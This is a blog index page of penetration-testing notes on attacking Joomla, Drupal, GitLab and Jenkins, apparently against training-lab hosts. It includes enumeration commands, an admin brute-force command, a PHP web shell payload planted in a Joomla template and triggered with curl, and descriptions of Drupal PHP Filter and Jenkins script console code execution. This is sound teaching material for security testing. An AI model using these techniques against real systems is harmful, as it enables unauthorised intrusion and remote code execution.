Navigation
Breadcrumb

Posts on: Web-Technologies

srl

Joomla

Introduction CMS used for discussion forums, photo galleries, e-Commerce, user-based communities, and more. Written in PHP and uses MySQL in the backend. Joomla Discovery/Footprinting Command Description droopescan scan joomla --url http://dev.inlanefreight.local Enumeration via droopescan python2.7 joomlascan.py -u http://dev.inlanefreight.local Enumeration via joomlascan.py curl -s http://dev.inlanefreight.local/ | grep Joomla Check Webpage Source curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format - Some Joomla versions may be fingerprinted from this file Browse to http://dev.inlanefreight.local/plugins/system/cache/cache.xml The cache.xml file can give out an approximate version of Joomla Browse to http://dev.inlanefreight.local/media/system/js/ Some versions of Joomla can be fingerprinted by analyzing the javascript files in this folder Browse to http://blog.inlanefreight.local/robots.txt Check for references to Joomla Browse to http://dev.inlanefreight.local/README.txt Check the README file to look for references to Joomla Joomla Users and Login Bruteforcing Administrator account: The default administrator account is admin, but the password is set at install time You can perform login broteforce by using the following: https://github.com/ajnik/joomla-bruteforce PoC: sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin Joomla Known Vulnerabilities PHP TEMPLATE CODE INJECTION TO RCE [Requires Admin Account] The basic idea is to add PHP code inside a template Login as Admin → Navigate to Configuration → Select a Template → Select an existing PHP file → add the following payload: system($_GET['cmd']); curl -s http://dev.inlanefreight.local/templates/protostar/error.php?cmd=id Joomla 3.9.4 directory traversal CVE-2019-10945 Exploit 1: https://www.exploit-db.com/exploits/46710 Exploit 2: https://github.com/dpgg101/CVE-2019-10945
srl

Drupal

Introduction Drupal is Written in PHP, supports MySQL or PostgreSQL for the backend. SQLite can be used if there’s no DBMS installed. Drupal indexes its content using nodes. A node can hold anything such as a blog post, poll, article, etc. The page URIs are usually of the form /node/<nodeid> Drupal Discovery/Footprinting Command Description curl -s http://drupal.inlanefreight.local | grep Drupal Check webpage source for the Drupal generator droopescan scan drupal -u http://drupal.inlanefreight.local Automated Drupal enumeration curl -s http://drupal.inlanefreight.local/CHANGELOG.txt Version check; on Drupal 8/9 use /core/CHANGELOG.txt Browse to http://drupal.inlanefreight.local/README.txt Check for instances of Drupal Browse to http://drupal.inlanefreight.local/robots.txt Check for instances of Drupal or its nodes Attacking Drupal versions prior to version 8 [PHP Filter Module] In Drupal versions prior to 8, it’s possible to login as an admin to enable the PHP Filter Module The PHP Filter Module basically allows PHP code to always be executed Follow these steps:
srl

GitLab

GitLab is an open-source end-to-end DevOps platform with built-in version control, issue tracking, code review, CI/CD, and more. For an attacker, it is a high-value target because it holds source code, CI/CD variables, deployment keys, and cloud credentials — a single GitLab compromise frequently pivots into the entire cloud estate. 2025–2026 context: GitLab has produced a steady stream of CVSS 9.0–10.0 vulnerabilities across every layer — the GraphQL engine, the SAML implementation, the Ruby regex compiler, and the CI/CD variable system. The current attack surface is dominated by unauthenticated RCE via Onigmo (CVE-2026-110264, CVSS 10.0), SAML authentication bypass (CVE-2025-25291/25292), GraphQL-based CI/CD variable disclosure (CVE-2025-9825), and personal access token leakage through logs and public repositories (CVE-2025-13611, CVE-2025-1198).
srl

Jenkins

Introduction Jenkins is a continuous integration server. Jenkins runs on Tomcat port 8080 by default The default installation typically uses Jenkins’ database to store credentials and does not allow users to register an account. Jenkins if often inside internal networks Jenkins is often installed on Windows servers running as the SYSTEM account. If we can gain access via Jenkins and gain remote code execution as the SYSTEM account, we would have a foothold in Active Directory to begin enumeration of the domain environment. It is not uncommon to find Jenkins instances that do not require any authentication during an internal penetration test We can fingerprint Jenkins quickly by the telltale login page. Jenkins Script Console RCE [Authenticated] After gaining access to a Jenkins application, you can navigate to the script console: http://jenkins.test.example:8000/script The script console allows us to run arbitrary Groovy scripts within the Jenkins controller runtime. This can be abused to run operating system commands on the underlying server. Linux PoC Script:

Pagination